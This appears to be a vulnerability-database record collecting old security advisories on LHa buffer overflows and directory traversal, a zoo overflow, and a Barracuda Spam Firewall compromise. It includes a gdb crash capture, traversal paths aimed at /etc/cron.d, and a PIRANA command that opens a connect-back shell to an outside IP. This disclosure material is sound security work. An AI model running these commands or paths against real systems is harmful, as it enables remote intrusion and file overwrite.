LHarc archives. Some people set up their\nweb browsers to start LHa automatically after downloading an LHarc\narchive. Finally, social engineering is probably quite effective\nin this case. \n\n* TECHNICAL DETAILS *\n\na) two stack-based buffer overflows\n\nThe buffer overflows in LHa occur when testing (t) or extracting\n(x) archives where the archive contents have too long filenames\nor directory names. The cause of the problem is the function\nget_header() in header.c. This function first reads the lengths of\nfilenames or directory names from the archive, and then it reads\nthat many bytes to a char array (one for filenames and one for\ndirectory names) without checking if the array is big enough. \n\nBy exploiting this bug, you get control over several registers\nincluding EIP, as you can see in this session capture:\n\n$ lha t buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\nSegmentation fault\n$ lha x buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\nSegmentation fault\n$ gdb lha\nGNU gdb Red Hat Linux (5.3post-0.20021129.18rh)\nCopyright 2003 Free Software Foundation, Inc. \nGDB is free software, covered by the GNU General Public License, and\nyou are welcome to change it and/or distribute copies of it under\ncertain conditions. \nType \"show copying\" to see the conditions. \nThere is absolutely no warranty for GDB. Type \"show warranty\" for\ndetails. \nThis GDB was configured as \"i386-redhat-linux-gnu\"... \n(gdb) r x buf_oflow.lha\nStarting program: /usr/bin/lha x buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\n\nProgram received signal SIGSEGV, Segmentation fault. \n0x55555555 in ?? ()\n(gdb) bt\n#0 0x55555555 in ?? ()\nCannot access memory at address 0x55555555\n(gdb) i r\neax 0x4001e4a0 1073865888\necx 0xffffffe0 -32\nedx 0x24 36\nebx 0x55555555 1431655765\nesp 0xbfffdd50 0xbfffdd50\nebp 0x55555555 0x55555555\nesi 0x55555555 1431655765\nedi 0x55555555 1431655765\neip 0x55555555 0x55555555\neflags 0x210282 2163330\ncs 0x23 35\nss 0x2b 43\nds 0x2b 43\nes 0x2b 43\nfs 0x0 0\ngs 0x33 51\n(gdb) r t buf_oflow.lha\nThe program being debugged has been started already. \nStart it from the beginning? (y or n) y\nStarting program: /usr/bin/lha t buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\n\nProgram received signal SIGSEGV, Segmentation fault. \n0x55555555 in ?? ()\n(gdb) bt\n#0 0x55555555 in ?? ()\nCannot access memory at address 0x55555555\n(gdb) i r\neax 0x4001e4a0 1073865888\necx 0xffffffe0 -32\nedx 0x24 36\nebx 0x55555555 1431655765\nesp 0xbfffe6d0 0xbfffe6d0\nebp 0x55555555 0x55555555\nesi 0x55555555 1431655765\nedi 0x55555555 1431655765\neip 0x55555555 0x55555555\neflags 0x210286 2163334\ncs 0x23 35\nss 0x2b 43\nds 0x2b 43\nes 0x2b 43\nfs 0x0 0\ngs 0x33 51\n(gdb) q\nThe program is running. Exit anyway? (y or n) y\n$\n\nb) two directory traversal problems\n\nLHa has directory traversal problems, both with absolute paths\nand relative paths. There is no protection against relative paths\nat all, so you can simply use the lha binary to create an archive\nwith paths like \"../../../../../etc/cron.d/evil\". There is some\nsimple protection against absolute paths, namely skipping the first\ncharacter if it is a slash, but again you can simply use the binary\nto create archives with paths like \"//etc/cron.d/evil\". \n\n* ATTACHED FILES *\n\nI have written a patch against version 1.14i that corrects all\nfour problems. The patch is included as an attachment, together\nwith some test archives. \n\n* TIMELINE *\n\n18 Apr: contacted the vendor-sec list and the LHa 1.14 author\n18 Apr: tried to contact the LHa 1.17 author with a web form and\n a guessed e-mail address which bounced\n19 Apr: reply from the vendor-sec list with CVE references\n30 Apr: Red Hat released their advisory\n01 May: I release this advisory\n\n// Ulf Harnhammar\nAdvogato diary :: http://www.advogato.org/person/metaur/\nidiosynkratisk (Swedish electropop zine) :: http://idiosynkratisk.tk/\nDebian Security Audit Project :: http://shellcode.org/Audit/\n\n------------------------------------------------------------------------\n",
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VAR-200408-0140
Vulnerability from variot - Updated: 2023-12-18 11:30Multiple stack-based buffer overflows in the get_header function in header.c for LHA 1.14, as used in products such as Barracuda Spam Firewall, allow remote attackers or local users to execute arbitrary code via long directory or file names in an LHA archive, which triggers the overflow when testing or extracting the archive. The first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility. The second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility. NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency. Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability. LHa is a console-based decompression program. Carefully constructed file or directory names can execute arbitrary commands with process privileges. Attackers can build simple packages that corrupt system files when LHA operates.
These vulnerabilities are related to: SA11510 SA19002
Successful exploitation allows execution of arbitrary code. ------------------------------------------------------------------------
LHa buffer overflows and directory traversal problems
PROGRAM: LHa (Unix version) VENDOR: various people VULNERABLE VERSIONS: 1.14d to 1.14i 1.17 (Linux binary) possibly others IMMUNE VERSIONS: 1.14i with my patch applied 1.14h with my patch applied LHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm http://www2m.biglobe.ne.jp/~dolphin/lha/prog/ LHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/ REFERENCES: CAN-2004-0234 (buffer overflows) CAN-2004-0235 (directory traversal)
- DESCRIPTION *
LHa is a console-based program for packing and unpacking LHarc archives.
It is one of the packages in Red Hat Linux, Fedora Core, SUSE Linux, Debian GNU/Linux (non-free), Mandrakelinux, Slackware Linux, Gentoo Linux, Yellow Dog Linux, Conectiva Linux and ALT Linux. It is also included in the port/package collections for FreeBSD, OpenBSD and NetBSD.
- OVERVIEW *
LHa has two stack-based buffer overflows and two directory traversal problems. They can be abused by malicious people in many different ways: some mail virus scanners require LHa and run it automatically on attached files in e-mail messages. Some web applications allow uploading and unpacking of LHarc archives. Some people set up their web browsers to start LHa automatically after downloading an LHarc archive. Finally, social engineering is probably quite effective in this case. The cause of the problem is the function get_header() in header.c. This function first reads the lengths of filenames or directory names from the archive, and then it reads that many bytes to a char array (one for filenames and one for directory names) without checking if the array is big enough.
By exploiting this bug, you get control over several registers including EIP, as you can see in this session capture:
$ lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ gdb lha GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) r x buf_oflow.lha Starting program: /usr/bin/lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU
Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt
0 0x55555555 in ?? ()
Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffdd50 0xbfffdd50 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210282 2163330 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) r t buf_oflow.lha The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/bin/lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU
Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt
0 0x55555555 in ?? ()
Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffe6d0 0xbfffe6d0 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210286 2163334 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) q The program is running. Exit anyway? (y or n) y $
b) two directory traversal problems
LHa has directory traversal problems, both with absolute paths and relative paths. There is no protection against relative paths at all, so you can simply use the lha binary to create an archive with paths like "../../../../../etc/cron.d/evil". There is some simple protection against absolute paths, namely skipping the first character if it is a slash, but again you can simply use the binary to create archives with paths like "//etc/cron.d/evil".
- ATTACHED FILES *
I have written a patch against version 1.14i that corrects all four problems. The patch is included as an attachment, together with some test archives.
- TIMELINE *
18 Apr: contacted the vendor-sec list and the LHa 1.14 author 18 Apr: tried to contact the LHa 1.17 author with a web form and a guessed e-mail address which bounced 19 Apr: reply from the vendor-sec list with CVE references 30 Apr: Red Hat released their advisory 01 May: I release this advisory
// Ulf Harnhammar Advogato diary :: http://www.advogato.org/person/metaur/ idiosynkratisk (Swedish electropop zine) :: http://idiosynkratisk.tk/ Debian Security Audit Project :: http://shellcode.org/Audit/
.
TITLE: Zoo "fullpath()" File Name Handling Buffer Overflow
SECUNIA ADVISORY ID: SA19002
VERIFY ADVISORY: http://secunia.com/advisories/19002/
CRITICAL: Moderately critical
IMPACT: DoS, System access
WHERE:
From remote
SOFTWARE: zoo 2.x http://secunia.com/product/8297/
DESCRIPTION: Jean-S\xe9bastien Guay-Leroux has discovered a vulnerability in zoo, which can be exploited by malicious people to cause a DoS (Denial of Service) and potentially to compromise a user's system. This can be exploited to cause a buffer overflow when a specially-crafted ZOO archive containing a file with an overly long file and directory name is processed (e.g. listing archive contents or adding new files to the archive).
The vulnerability has been confirmed in version 2.10. Other versions may also be affected.
SOLUTION: Restrict use to trusted ZOO archives.
PROVIDED AND/OR DISCOVERED BY: Jean-S\xe9bastien Guay-Leroux
ORIGINAL ADVISORY: http://www.guay-leroux.com/projects/zoo-advisory.txt
About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities.
Subscribe: http://secunia.com/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/
Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.
Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
. Topic: Barracuda LHA archiver security bug leads to remote compromise
Announced: 2006-04-03 Product: Barracuda Spam Firewall Vendor: http://www.barracudanetworks.com/ Impact: Remote shell access Affected product: Barracuda with firmware < 3.3.03.022 AND spamdef < 3.0.10045 Credits: Jean-S\xe9bastien Guay-Leroux CVE ID: CVE-2004-0234
I. BACKGROUND
The Barracuda Spam Firewall is an integrated hardware and software solution for complete protection of your email server. It provides a powerful, easy to use, and affordable solution to eliminating spam and virus from your organization by providing the following protection:
- Anti-spam
- Anti-virus
- Anti-spoofing
- Anti-phishing
- Anti-spyware (Attachments)
- Denial of Service
II. DESCRIPTION
When building a special LHA archive with long filenames in it, it is possible to overflow a buffer on the stack used by the program and seize control of the program.
Since this component is used when scanning an incoming email, remote compromise is possible by sending a simple email with the specially crafted LHA archive attached to the Barracuda Spam Firewall.
You do NOT need to have remote administration access (on port 8000) for successfull exploitation.
For further informations about the details of the bugs, you can consult OSVDB
5753 and #5754 .
III. IMPACT
Gain shell access to the remote Barracuda Spam Firewall
IV. PROOF OF CONCEPT
Using the PIRANA framework, available at http://www.guay-leroux.com , it is possible to test the Barracuda Spam Firewall against the LHA vulnerability.
By calling PIRANA the way it is described below, you will get a TCP connect back shell on IP address 1.2.3.4 and port 1234:
perl pirana.pl -e 0 -h barracuda.vulnerable.com -a postmaster -s 0 -l 1.2.3.4 \ -p 1234 -z -c 1 -d 1
V. SOLUTION
Barracuda Networks pushed an urgent critical patch in spamdef #3.0.10045, available March 24th 2006.
They also published an official patch in firmware #3.3.03.022, available April 3rd 2006.
It is recommended to update to firmware #3.3.03.022 .
VI. CREDITS
Ulf Harnhammar who found the original LHA flaw.
Jean-S\xe9bastien Guay-Leroux who conducted further research on the bug and produced exploitation plugin for the PIRANA framework.
VII. REFERENCES
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0234
VIII. HISTORY
2006-03-02 : Disclosure of vulnerability to Barracuda Networks 2006-03-02 : Acknowledgement of the problem 2006-03-24 : Problem fixed 2006-04-03 : Advisory disclosed to public
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"data": "Multiple stack-based buffer overflows in the get_header function in header.c for LHA 1.14, as used in products such as Barracuda Spam Firewall, allow remote attackers or local users to execute arbitrary code via long directory or file names in an LHA archive, which triggers the overflow when testing or extracting the archive. \nThe first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility. \nThe second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility. \n**NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency. \n**Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability. LHa is a console-based decompression program. Carefully constructed file or directory names can execute arbitrary commands with process privileges. Attackers can build simple packages that corrupt system files when LHA operates. \n\nThese vulnerabilities are related to:\nSA11510\nSA19002\n\nSuccessful exploitation allows execution of arbitrary code. ------------------------------------------------------------------------\n\nLHa buffer overflows and directory traversal problems\n\nPROGRAM: LHa (Unix version)\nVENDOR: various people\nVULNERABLE VERSIONS: 1.14d to 1.14i\n 1.17 (Linux binary)\n possibly others\nIMMUNE VERSIONS: 1.14i with my patch applied\n 1.14h with my patch applied\nLHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm\n http://www2m.biglobe.ne.jp/~dolphin/lha/prog/\nLHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/\nREFERENCES: CAN-2004-0234 (buffer overflows)\n CAN-2004-0235 (directory traversal)\n\n* DESCRIPTION *\n\nLHa is a console-based program for packing and unpacking LHarc\narchives. \n\nIt is one of the packages in Red Hat Linux, Fedora Core, SUSE\nLinux, Debian GNU/Linux (non-free), Mandrakelinux, Slackware Linux,\nGentoo Linux, Yellow Dog Linux, Conectiva Linux and ALT Linux. \nIt is also included in the port/package collections for FreeBSD,\nOpenBSD and NetBSD. \n\n* OVERVIEW *\n\nLHa has two stack-based buffer overflows and two directory traversal\nproblems. They can be abused by malicious people in many different\nways: some mail virus scanners require LHa and run it automatically\non attached files in e-mail messages. Some web applications allow\nuploading and unpacking of LHarc archives. Some people set up their\nweb browsers to start LHa automatically after downloading an LHarc\narchive. Finally, social engineering is probably quite effective\nin this case. The cause of the problem is the function\nget_header() in header.c. This function first reads the lengths of\nfilenames or directory names from the archive, and then it reads\nthat many bytes to a char array (one for filenames and one for\ndirectory names) without checking if the array is big enough. \n\nBy exploiting this bug, you get control over several registers\nincluding EIP, as you can see in this session capture:\n\n$ lha t buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\nSegmentation fault\n$ lha x buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\nSegmentation fault\n$ gdb lha\nGNU gdb Red Hat Linux (5.3post-0.20021129.18rh)\nCopyright 2003 Free Software Foundation, Inc. \nGDB is free software, covered by the GNU General Public License, and\nyou are welcome to change it and/or distribute copies of it under\ncertain conditions. \nType \"show copying\" to see the conditions. \nThere is absolutely no warranty for GDB. Type \"show warranty\" for\ndetails. \nThis GDB was configured as \"i386-redhat-linux-gnu\"... \n(gdb) r x buf_oflow.lha\nStarting program: /usr/bin/lha x buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\n\nProgram received signal SIGSEGV, Segmentation fault. \n0x55555555 in ?? ()\n(gdb) bt\n#0 0x55555555 in ?? ()\nCannot access memory at address 0x55555555\n(gdb) i r\neax 0x4001e4a0 1073865888\necx 0xffffffe0 -32\nedx 0x24 36\nebx 0x55555555 1431655765\nesp 0xbfffdd50 0xbfffdd50\nebp 0x55555555 0x55555555\nesi 0x55555555 1431655765\nedi 0x55555555 1431655765\neip 0x55555555 0x55555555\neflags 0x210282 2163330\ncs 0x23 35\nss 0x2b 43\nds 0x2b 43\nes 0x2b 43\nfs 0x0 0\ngs 0x33 51\n(gdb) r t buf_oflow.lha\nThe program being debugged has been started already. \nStart it from the beginning? (y or n) y\nStarting program: /usr/bin/lha t buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\n\nProgram received signal SIGSEGV, Segmentation fault. \n0x55555555 in ?? ()\n(gdb) bt\n#0 0x55555555 in ?? ()\nCannot access memory at address 0x55555555\n(gdb) i r\neax 0x4001e4a0 1073865888\necx 0xffffffe0 -32\nedx 0x24 36\nebx 0x55555555 1431655765\nesp 0xbfffe6d0 0xbfffe6d0\nebp 0x55555555 0x55555555\nesi 0x55555555 1431655765\nedi 0x55555555 1431655765\neip 0x55555555 0x55555555\neflags 0x210286 2163334\ncs 0x23 35\nss 0x2b 43\nds 0x2b 43\nes 0x2b 43\nfs 0x0 0\ngs 0x33 51\n(gdb) q\nThe program is running. Exit anyway? (y or n) y\n$\n\nb) two directory traversal problems\n\nLHa has directory traversal problems, both with absolute paths\nand relative paths. There is no protection against relative paths\nat all, so you can simply use the lha binary to create an archive\nwith paths like \"../../../../../etc/cron.d/evil\". There is some\nsimple protection against absolute paths, namely skipping the first\ncharacter if it is a slash, but again you can simply use the binary\nto create archives with paths like \"//etc/cron.d/evil\". \n\n* ATTACHED FILES *\n\nI have written a patch against version 1.14i that corrects all\nfour problems. The patch is included as an attachment, together\nwith some test archives. \n\n* TIMELINE *\n\n18 Apr: contacted the vendor-sec list and the LHa 1.14 author\n18 Apr: tried to contact the LHa 1.17 author with a web form and\n a guessed e-mail address which bounced\n19 Apr: reply from the vendor-sec list with CVE references\n30 Apr: Red Hat released their advisory\n01 May: I release this advisory\n\n// Ulf Harnhammar\nAdvogato diary :: http://www.advogato.org/person/metaur/\nidiosynkratisk (Swedish electropop zine) :: http://idiosynkratisk.tk/\nDebian Security Audit Project :: http://shellcode.org/Audit/\n\n------------------------------------------------------------------------\n. \n\nTITLE:\nZoo \"fullpath()\" File Name Handling Buffer Overflow\n\nSECUNIA ADVISORY ID:\nSA19002\n\nVERIFY ADVISORY:\nhttp://secunia.com/advisories/19002/\n\nCRITICAL:\nModerately critical\n\nIMPACT:\nDoS, System access\n\nWHERE:\n\u003eFrom remote\n\nSOFTWARE:\nzoo 2.x\nhttp://secunia.com/product/8297/\n\nDESCRIPTION:\nJean-S\\xe9bastien Guay-Leroux has discovered a vulnerability in zoo,\nwhich can be exploited by malicious people to cause a DoS (Denial of\nService) and potentially to compromise a user\u0027s system. This can be exploited to cause a\nbuffer overflow when a specially-crafted ZOO archive containing a\nfile with an overly long file and directory name is processed (e.g. \nlisting archive contents or adding new files to the archive). \n\nThe vulnerability has been confirmed in version 2.10. Other versions\nmay also be affected. \n\nSOLUTION:\nRestrict use to trusted ZOO archives. \n\nPROVIDED AND/OR DISCOVERED BY:\nJean-S\\xe9bastien Guay-Leroux\n\nORIGINAL ADVISORY:\nhttp://www.guay-leroux.com/projects/zoo-advisory.txt\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\neverybody keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. Topic: Barracuda LHA archiver security bug leads to\n remote 